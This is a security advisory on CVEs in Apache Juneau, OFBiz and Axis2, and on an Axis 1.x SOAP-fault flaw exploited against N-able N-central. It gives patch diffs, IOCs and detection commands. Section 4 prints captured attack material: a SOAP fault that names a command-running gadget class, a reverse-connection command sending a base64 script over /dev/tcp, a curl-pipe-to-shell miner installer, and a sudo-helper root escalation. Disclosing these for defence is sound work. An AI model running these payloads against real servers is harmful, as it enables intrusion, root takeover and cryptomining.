CVE
CVE-2026-90436, CVE-2026-73098, CVE-2026-121489, CVE-2026-73095, CVE-2026-73099, CVE-2026-73100, CVE-2026-73101, CVE-2026-73116, CVE-2026-73117, CVE-2026-96677, CVE-2026-83542, CVE-2026-82907, CVE-2026-68524, CVE-2026-105330, CVE-2026-82910, CVE-2026-82912, CVE-2026-82960, CVE-2026-120761, CVE-2026-123753, CVE-2026-120832, CVE-2026-123770
CWE
CWE-470, CWE-22, CWE-94, CWE-287, CWE-611, CWE-918, CWE-770
Affected Surface
- Maven `org.apache.juneau:juneau-marshall`, `juneau-rest-server`, `juneau-rest-client`, `juneau-microservice-core`, `juneau-commons`, and `juneau-shaded-*` versions `<= 9.2.0` (`CVE-2026-73098`, `CVE-2026-121489`, `CVE-2026-73095`, `CVE-2026-73099`, `CVE-2026-73100`, `CVE-2026-73101`, `CVE-2026-73116`, `CVE-2026-73117`, `CVE-2026-96677`, fixed in `9.2.1`)
- Apache OFBiz (`org.apache.ofbiz`) versions `< 24.09.08` (`CVE-2026-83542`, `CVE-2026-82907`, `CVE-2026-68524`, `CVE-2026-73578`, `CVE-2026-105330`, `CVE-2026-82910`, `CVE-2026-82912`, `CVE-2026-82960`, and 26 companion CVEs, fixed in `24.09.08`)
- Maven `org.apache.axis2:axis2-kernel` and Apache Axis2/Java versions `<= 2.0.1` (`CVE-2026-120761`, `CVE-2026-123753`, `CVE-2026-120832`, `CVE-2026-123766`, `CVE-2026-123770`, `CVE-2026-120367`, `CVE-2026-123779`, fixed in `2.0.2`), plus EOL Apache Axis `1.x` (`CVE-2026-90436`)
- Apache Axis 1.x (`axis:axis` / `org.apache.axis:axis` through `1.4`, end of life, no fixed release; fix commit `41f3b4e8d0` in `apache/axis-axis1-java`) and products that embed it, including N-able N-central (exploited through `POST /dms/services/ServerUI` on servers with the Legacy API enabled, including 2026.4 Hotfix 2 build `2026.4.1.26`)
Update, 13 November 2026 (Apache Axis 1.x CVE-2026-90436 exploited in the wild): At 03:58 UTC on 12 November, researcher Sean Bales published a proof of concept called 4EverAble2Shell against N-able N-central. Its first stage is the Axis 1.x SOAP fault bug we listed below only as an end-of-life footnote. huntback’s N-central decoys saw the first check from 157.20.241[.]16 at 08:30 UTC and the full chain at 09:16 UTC. By 12:50 UTC the attacker’s mining pool listed 21 live N-central servers, 19 of them on the patched 2026.4 Hotfix 2 build 2026.4.1.26, mining Monero as nc_<ip> rigs. Axis 1.x has no fixed release. If you run it anywhere, build from commit 41f3b4e8d0 or take the endpoint off the network. On N-central, keep the Legacy API disabled. See section 4 for the code and IOCs. EPSS was 0.011 (67th percentile) on 13 November, which lags the observed exploitation.
TL;DR
Between 4 and 6 November 2026, three coordinated Apache Java security announcements on oss-security and NVD disclosed 50 CVEs across Apache Juneau, Apache OFBiz, and Apache Axis2/Java:
- Apache Juneau
9.2.1(9 CVEs,oss-security 2026/11/04/7, eight rated CVSS10.0on NVD):CVE-2026-73098(juneau-marshall): When Juneau parses untrusted input into a bean property, map value, or parameter typed asjava.lang.Class, it resolved arbitrary class names throughClass.forName(...), triggering static initializers of any class on the classpath.CVE-2026-121489(juneau-microservice-core,juneau-commons):DirectoryResourceconcatenated request path segments onto the configured root directory without canonical boundary checks, allowing..traversal to view (allowViews), overwrite (allowUploads), or delete (allowDeletes) arbitrary files.CVE-2026-73095(juneau-marshall,juneau-rest-server):MsgPackParser(enabled by default inBasicUniversalConfig) allocated a byte array directly from the untrusted MessagePack length prefix before reading payload bytes, letting a few-byte request trigger a multi-gigabyteOutOfMemoryError.CVE-2026-73099,CVE-2026-73100,CVE-2026-73101,CVE-2026-73116,CVE-2026-73117, andCVE-2026-96677: Fixed default-enabled?content=GET body overrides (CSRF),Authorization/Cookieheader logging and redirect leaks inRestClient, CRLF response splitting, and unescaped$RQ/$RHSVL variables in HTML chrome.
- Apache OFBiz
24.09.08(34 CVEs,oss-security 2026/11/04/9): Patches multiple pre-authentication and authenticated remote code execution paths, includingCVE-2026-83542(CVSS 9.8 Critical, unauthenticated RCE via login-page widget injection),CVE-2026-68524(pre-authentication RCE via attacker-controlled screen definition loading),CVE-2026-73578(unauthenticated saved-view authorization bypass with RCE impact),CVE-2026-82907(CVSS 9.8 Critical, reusable pre-authexternalLoginKeycapture-replay bypass),CVE-2026-105330(hardcoded cryptographic key in JWT authentication), andCVE-2026-82910/82912/82960(FreeMarker and Groovy sandbox-bypass RCEs). - Apache Axis2/Java
2.0.2(7 CVEs,oss-security 2026/11/06/22to28): Fixes an XML External Entity (XXE) injection inAxisService.createClientSideAxisService()wherewsdl4jparsed<wsdl:import>and<xsd:import>documents using its own unhardenedDocumentBuilderFactory(CVE-2026-120761), unauthenticated SSRF via WS-Addressingwsa:ReplyToandwsa:FaultToheaders (CVE-2026-123753), WSDL/XSD schema import SSRF (CVE-2026-120832), and unbounded multipart/JSON request bodies (CVE-2026-123770,CVE-2026-120367).
What to do now: Upgrade org.apache.juneau:* (including juneau-shaded-*) to 9.2.1, Apache OFBiz to 24.09.08, and org.apache.axis2:* to 2.0.2.
Affected packages and projects
| Ecosystem | Project / Artifact | Key CVEs | Affected versions | Fixed version | Primary vulnerability class |
|---|---|---|---|---|---|
| Maven | org.apache.juneau:juneau-marshall, juneau-rest-server, juneau-rest-client, juneau-microservice-core, juneau-commons | CVE-2026-73098, CVE-2026-121489, CVE-2026-73095, CVE-2026-73099, CVE-2026-73116, CVE-2026-73117, CVE-2026-96677 | <= 9.2.0 | 9.2.1 | Dynamic java.lang.Class loading, DirectoryResource traversal, MsgPackParser OOM DoS, ?content= CSRF, redirect credential leak |
| Java / ERP | Apache OFBiz (org.apache.ofbiz) | CVE-2026-83542, CVE-2026-68524, CVE-2026-73578, CVE-2026-82907, CVE-2026-105330, CVE-2026-82910, CVE-2026-82912, CVE-2026-82960 (34 CVEs total) | < 24.09.08 | 24.09.08 | Pre-auth login-page widget RCE, screen-definition RCE, externalLoginKey replay, hardcoded JWT key, Groovy/FreeMarker SSTI |
| Maven | org.apache.axis2:axis2-kernel (Apache Axis2/Java) | CVE-2026-120761, CVE-2026-123753, CVE-2026-120832, CVE-2026-123766, CVE-2026-123770, CVE-2026-120367, CVE-2026-123779 | <= 2.0.1 | 2.0.2 | wsdl4j <wsdl:import> / <xsd:import> XXE, WS-Addressing ReplyTo / FaultTo SSRF, unbounded multipart/JSON DoS |
Technical analysis
1. Apache Axis2/Java 2.0.2 (CVE-2026-120761 and CVE-2026-123753): why wsdl4j bypassed Axis2’s DefaultEntityResolver
When an Axis2 client or service built an AxisService from a WSDL URL via ServiceClient or AxisService.createClientSideAxisService(URL wsdlURL, ...), Axis2 parsed the top-level WSDL document using XMLUtils.newDocument(), which attached a DefaultEntityResolver to block external entities. However, Axis2 then passed that DOM Document to wsdl4j’s WSDLReader with javax.wsdl.importDocuments set to true.
Whenever the WSDL contained a <wsdl:import> or <xsd:import> element, wsdl4j (WSDLReaderImpl.getDocument()) instantiated its own DocumentBuilderFactory.newInstance() with default settings (DOCTYPE and external entity resolution enabled) to fetch and parse the imported document. An attacker who controlled a WSDL URL or an imported schema could therefore include a <!DOCTYPE ... [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> declaration inside the imported document and read local files or trigger SSRF.
In commit 1d3457d12399c7721ed3f52e7031d1d24d169460 (Axis2 2.0.2), createClientSideAxisService() disables javax.wsdl.importDocuments by default (requiring explicit opt-in via -Daxis2.wsdl.importDocuments=true), wraps opt-in imports in a new SecureWSDLLocator that pre-parses every imported stream with disallow-doctype-decl=true before handing it to wsdl4j, and hardens XMLUtils.getDOMFactory() directly:
--- a/modules/kernel/src/org/apache/axis2/description/AxisService.java
+++ b/modules/kernel/src/org/apache/axis2/description/AxisService.java
@@ -2372,8 +2372,16 @@ public static AxisService createClientSideAxisService(URL wsdlURL,
String namespaceURI = doc.getDocumentElement().getNamespaceURI();
if (Constants.NS_URI_WSDL11.equals(namespaceURI)) {
WSDLReader reader = WSDLUtil.newWSDLReaderWithPopulatedExtensionRegistry();
- reader.setFeature("javax.wsdl.importDocuments", true);
- Definition wsdlDefinition = reader.readWSDL(getBaseURI(wsdlURL.toString()), doc);
+ boolean allowImports = Boolean.getBoolean("axis2.wsdl.importDocuments");
+ reader.setFeature("javax.wsdl.importDocuments", allowImports);
+ Definition wsdlDefinition;
+ if (allowImports) {
+ // Use hardened WSDLLocator to prevent XXE in imported documents
+ wsdlDefinition = reader.readWSDL(
+ new org.apache.axis2.util.SecureWSDLLocator(wsdlURL.toString()));
+ } else {
+ wsdlDefinition = reader.readWSDL(getBaseURI(wsdlURL.toString()), doc);
+ }
In the same release, CVE-2026-123753 (commits 1671a68660df and 1b6856b4d790) closes an unauthenticated SSRF vector where any SOAP request carrying a non-anonymous WS-Addressing <wsa:ReplyTo> or <wsa:FaultTo> URL caused Axis2 to open an outbound connection and POST the SOAP response or fault to the caller’s target address; 2.0.2 refuses non-anonymous response endpoints unless allowNonAnonymousResponseEndpoints is explicitly enabled.
2. Apache Juneau 9.2.1 (CVE-2026-73098, CVE-2026-73095, CVE-2026-121489, CVE-2026-73099, CVE-2026-73116)
Apache Juneau 9.2.1 hardens five dangerous defaults in its marshalling and REST layers:
- Dynamic
java.lang.Classresolution (CVE-2026-73098): Deserializing a JSON, XML, HTML, UrlEncoding, OpenAPI, or MsgPack payload into a field or collection of typejava.lang.Class<?>invokedClass.forName()on the untrusted string. Juneau9.2.1blocksClassdeserialization unless an explicit class allowlist is configured. MsgPackParserlength-prefix heap exhaustion (CVE-2026-73095): BecauseBasicUniversalConfigregistersMsgPackParseron REST endpoints by default, an unauthenticated client sendingContent-Type: octets/msgpackwith a 5-bytebin 32orstr 32header (0xc6 0x7f 0xff 0xff 0xff) forced an immediate ~2 GBbyte[]allocation before reading any body bytes. Version9.2.1caps single element allocations at16 MiBby default and lowers the default@Rest(maxInput)limit from100 MBto1 MB.?content=GET body override (CVE-2026-73099) andRestClientredirect credential leak (CVE-2026-73116): Juneau’s REST server previously allowed a?content=...query parameter onGETrequests to replace the request body (enabling cross-site request forgery via simple<img>or link navigations);9.2.1restrictscontentquery overrides toPUTandPOST. Injuneau-rest-client,RestClientpreviously preservedAuthorizationandCookieheaders when following HTTP3xxredirects to a different origin.
3. Apache OFBiz 24.09.08 (CVE-2026-83542, CVE-2026-68524, CVE-2026-82907, CVE-2026-105330)
Apache OFBiz 24.09.08 fixes 34 CVEs across its widget renderer, authentication filter, and Groovy/FreeMarker engines:
- Unauthenticated RCE via login-page widget and screen-definition injection (
CVE-2026-83542,CVE-2026-68524, andCVE-2026-73578): Request parameters rendered on the unauthenticated login page and saved-view/screen-definition loaders allowed attackers to inject widget definitions and execute arbitrary code before authentication. - Pre-auth
externalLoginKeycapture-replay (CVE-2026-82907) and hardcoded JWT signing key (CVE-2026-105330):ExternalLoginKeysManagerhonoredexternalLoginKeytokens pre-auth without binding or single-use invalidation, while JWT authentication accepted tokens signed with a hardcoded fallback cryptographic key. - FreeMarker and Groovy sandbox escapes (
CVE-2026-82910,CVE-2026-82912,CVE-2026-82960):MacroScreenRenderer.renderLinkcompiled link parameters as FreeMarker template source (CVE-2026-82910),EmailServicescompiled unsandboxed Groovy from a service parameter (CVE-2026-82912), and widgetuse-whenexpression evaluation bypassed the Groovy sandbox (CVE-2026-82960).
4. Apache Axis 1.x (CVE-2026-90436): SOAP fault exceptionName instantiation, exploited through N-central
When Axis 1.x parses an inbound SOAP <Fault>, the <detail> element can carry an <exceptionName> naming the Java exception class to rebuild. SOAPFaultDetailsBuilder loaded that class with ClassUtils.forName(name), which initializes it (static initializers run), and SOAPFaultBuilder then called its one-argument constructor with the attacker’s <data> value. The (AxisFault) cast came after the constructor, so a non-fault class got built anyway and the ClassCastException was swallowed. Fault parsing happens while Axis resolves the target service, before per-service handler chains run, so service-level authentication doesn’t help. Any class on the classpath with a dangerous String constructor becomes a remote code execution gadget.
N-central ships Axis 1.x behind /dms/services/ServerUI and has jline.internal.TerminalLineSettings on the classpath; its constructor runs a shell command built from its argument. huntback captured this probe:
<soapenv:Fault><faultcode>soapenv:Server</faultcode><faultstring>fault</faultstring><detail>
<data xsi:type="xsd:string">probe</data>
<exceptionName>jline.internal.TerminalLineSettings</exceptionName>
</detail></soapenv:Fault>
The weaponized requests replaced probe with a command that runs as the nable user, takes a flock so it runs once, and pipes a base64 Python script back over a raw TCP socket (huntback’s capture, base64 shortened):
/var/opt/n-central/tmp; exec 9</var/opt/n-central/tmp; /usr/bin/flock -n 9 || exit 0;
((/usr/bin/printf %s IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwpp...|/usr/bin/base64 -d|/usr/bin/python3 - --encoded-command bW91bnQgLW8gcmVtb3Vu...)
>/dev/tcp/157.20.241[.]16/19202 2>&1; /usr/bin/sleep 2) </dev/null >/dev/null 2>&1 & #
That script (SHA-256 fc4c01fd11bc301cf312830460cfdccc3af9dcfe50c910b86d6a1117bc76c747) is the N-central-specific half. It symlinks /var/opt/n-central/flag/flag_default.json to /opt/nable/var/ncsai/scripts/ServerChild.sh, runs sudo nable_wrapper.pl setLDFileOwner so the helper follows the link and hands ServerChild.sh to nable, rewrites it, and triggers it as root with sudo nable_wrapper.pl serverControl noop --wait. It then restores the original file. The root command was curl -fsSL hxxp://157.20.241[.]16:8080/jup.sh | sh -s nc_<target-ip>, which installs XMRig 6.26.0 under /tmp/.xvd with a keep.sh watchdog.
The upstream fix (commit 41f3b4e8d0, July 2026) loads the class without initializing it and refuses anything that isn’t an AxisFault:
--- a/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultDetailsBuilder.java
+++ b/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultDetailsBuilder.java
} else if ("exceptionName".equals(hint)) {
String faultClassName = (String) value;
try {
- Class faultClass = ClassUtils.forName(faultClassName);
- builder.setFaultClass(faultClass);
+ Class faultClass = ClassUtils.forName(faultClassName, false);
+ if (AxisFault.class.isAssignableFrom(faultClass)) {
+ builder.setFaultClass(faultClass);
+ } else if (log.isDebugEnabled()) {
+ log.debug("Ignoring fault exceptionName '" + faultClassName
+ + "': not an org.apache.axis.AxisFault subtype");
+ }
--- a/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultBuilder.java
+++ b/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultBuilder.java
- try {
- Constructor con =
- faultClass.getConstructor(
- new Class[] { argClass });
- f = (AxisFault) con.newInstance(new Object[] { faultData });
+ if (AxisFault.class.isAssignableFrom(faultClass)) {
+ try {
+ Constructor con =
+ faultClass.getConstructor(
+ new Class[] { argClass });
+ f = (AxisFault) con.newInstance(new Object[] { faultData });
The same commit also fixes ClassUtils.forName(String, boolean, ClassLoader), which had been ignoring its init flag. Apache doesn’t plan an Axis 1.x release, so the commit is the only upstream fix.
IOCs (from huntback, defanged):
| Indicator | Context |
|---|---|
157.20.241[.]16 | Exploitation source, payload host (:8080), callback listener (TCP 19202 to 19418) |
hxxp://157.20.241[.]16:8080/jup.sh, /xvgz, /xmrig.tgz, /ob/cronhit, /ob/fcheck | Installer, miner binaries, check-in beacons |
139.99.69[.]109:10128, 79.76.51[.]56:39100 | Mining pool endpoints |
fc4c01fd11bc301cf312830460cfdccc3af9dcfe50c910b86d6a1117bc76c747 | SHA-256 of the nable-to-root Python script |
jline.internal.TerminalLineSettings in <exceptionName> | Gadget class in the SOAP fault |
python-requests/2.31.0 | User agent of weaponized requests (checks used Mozilla/5.0) |
/tmp/.xvd/, /var/tmp/.xvd/, /etc/systemd/system/xvd.service, /etc/cron.d/xvd, crontab # xvkeep | Miner and persistence artifacts |
/var/opt/n-central/flag/flag_default.json symlink, /var/opt/n-central/tmp/serverchild-* | Privilege escalation artifacts |
The same wallet was running 631 rigs, with name prefixes for Jpom, FreePBX, MLflow, Apache Flink, PaperCut, SFTPGo and AJ-Report, so this operator adds new public exploits within hours.
Detection and remediation
# 1. Search Maven pom.xml and Gradle build files for vulnerable Juneau, Axis2, and Axis 1.x artifacts
rg -n 'org\.apache\.(juneau|axis2|axis)\b' pom.xml build.gradle* gradle/libs.versions.toml 2>/dev/null
# 2. Check Apache OFBiz release version in VERSION or gradle.properties
cat VERSION 2>/dev/null || rg -n 'ofbiz' gradle.properties build.gradle 2>/dev/null
# 3. Find Axis 1.x jars on disk (fat jars, WARs, appliances)
find / -xdev \( -name 'axis-1*.jar' -o -name 'axis.jar' \) 2>/dev/null
find / -xdev -name '*.jar' -size -50M 2>/dev/null | xargs -r -I{} sh -c 'unzip -l "{}" 2>/dev/null | rg -q "org/apache/axis/message/SOAPFaultDetailsBuilder.class" && echo "{}"'
# 4. Exploitation attempts: SOAP faults with exceptionName in request logs (N-central: /dms/services/ServerUI)
rg -n 'exceptionName|TerminalLineSettings' /var/log/*/access* /opt/nable/**/logs 2>/dev/null
rg -n 'POST /dms/services/ServerUI' /var/log 2>/dev/null | rg 'python-requests'
# 5. N-central host artifacts from the 4EverAble2Shell miner campaign
ls -la /tmp/.xvd /var/tmp/.xvd /etc/systemd/system/xvd.service /etc/cron.d/xvd 2>/dev/null
crontab -l -u nable 2>/dev/null | rg xvkeep; crontab -l 2>/dev/null | rg xvkeep
ls -la /var/opt/n-central/flag/flag_default.json /var/opt/n-central/tmp/serverchild-* 2>/dev/null
ps aux | rg -e '--rig-id nc_' -e '\.xvd/x'
- Upgrade Apache Juneau to
9.2.1: Update allorg.apache.juneau:juneau-*andjuneau-shaded-*dependencies to9.2.1. Note that if your service legitimately accepts request bodies larger than1 MB, you must set@Rest(maxInput="...")explicitly after upgrading. - Upgrade Apache OFBiz to
24.09.08: Deploy24.09.08immediately on any internet-facing or internal OFBiz instance, invalidate existingexternalLoginKeyand JWT sessions, and audit web logs for requests carrying widget/screen parameters against/control/loginor/control/views. - Upgrade Apache Axis2/Java to
2.0.2: Updateorg.apache.axis2:*to2.0.2. If an application still depends on end-of-life Apache Axis1.x(CVE-2026-90436), migrate off Axis1.xor block untrusted network access to Axis endpoints. - Apache Axis 1.x and N-central (
CVE-2026-90436, exploited): There is no fixed Axis 1.x release. Rebuild Axis from commit41f3b4e8d0, or keep SOAP endpoints such as/dms/services/ServerUIoff untrusted networks. On N-central, disable the Legacy API and follow N-able’s guidance; Hotfix 2 alone did not stop this chain. Treat any host with the IOCs above as fully compromised and rotate the credentials it holds for managed customers, since an RMM server reaches every endpoint it manages.
Timeline
- 2026-11-03: Apache Juneau releases version
9.2.1. - 2026-11-04 (
14:58to16:12 UTC): Apache Juneau (oss-security 2026/11/04/7, 9 CVEs) and Apache OFBiz (oss-security 2026/11/04/9, 34 CVEs fixed in24.09.08) publish their security advisories. - 2026-11-05 (
12:17to14:17 UTC): NVD publishes the Juneau and OFBiz CVE records (CVE-2026-73098,CVE-2026-121489,CVE-2026-83542,CVE-2026-82907, et al.). - 2026-11-06 (
17:15to18:02 UTC): Robert Lazarski announces 7 Apache Axis2/Java2.0.2CVEs (CVE-2026-120761,CVE-2026-123753,CVE-2026-120832,CVE-2026-123766,CVE-2026-123770,CVE-2026-120367, andCVE-2026-123779) plus EOL Axis1.xCVE-2026-90436onoss-security. - 2026-11-10: N-able releases N-central 2026.4 Hotfix 2 (
2026.4.1.26) for the earlier Able2Shell flaws. - 2026-11-12 (
03:58 UTC): Sean Bales publishes the 4EverAble2Shell and Agent2Shell proofs of concept. - 2026-11-12 (
08:30 UTC): First 4EverAble2Shell probe from157.20.241[.]16reaches huntback’s N-central decoys; full chain follows at09:16 UTC. - 2026-11-12 (
12:50 UTC): The operator’s mining pool lists 21 activenc_rigs on production N-central servers (19 on Hotfix 2).
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- oss-security (2026/11/04/7): Apache Juneau 9.2.1 fixes 9 vulnerabilities (CVE-2026-73095 through CVE-2026-121489)
- oss-security (2026/11/04/9): Apache OFBiz 24.09.08 CVE Announcements (34 CVEs)
- oss-security (2026/11/06/22 to 2026/11/06/28): Apache Axis2/Java 2.0.2 advisories (CVE-2026-120761, CVE-2026-123753, CVE-2026-120832)
- apache/axis-axis2-java-core commit 1d3457d12399c7721ed3f52e7031d1d24d169460 (Harden WSDL import parsing against XXE and SSRF, CVE-2026-120761)
- huntback Research (12 November 2026): 4EverAble2Shell is already mining Monero on live N-central servers
- BleepingComputer (12 November 2026): New N-able 4EverAble2Shell zero-day exploited hours after PoC released
- apache/axis-axis1-java commit 41f3b4e8d04e (Prevent arbitrary class instantiation from SOAP fault exceptionName, CVE-2026-90436)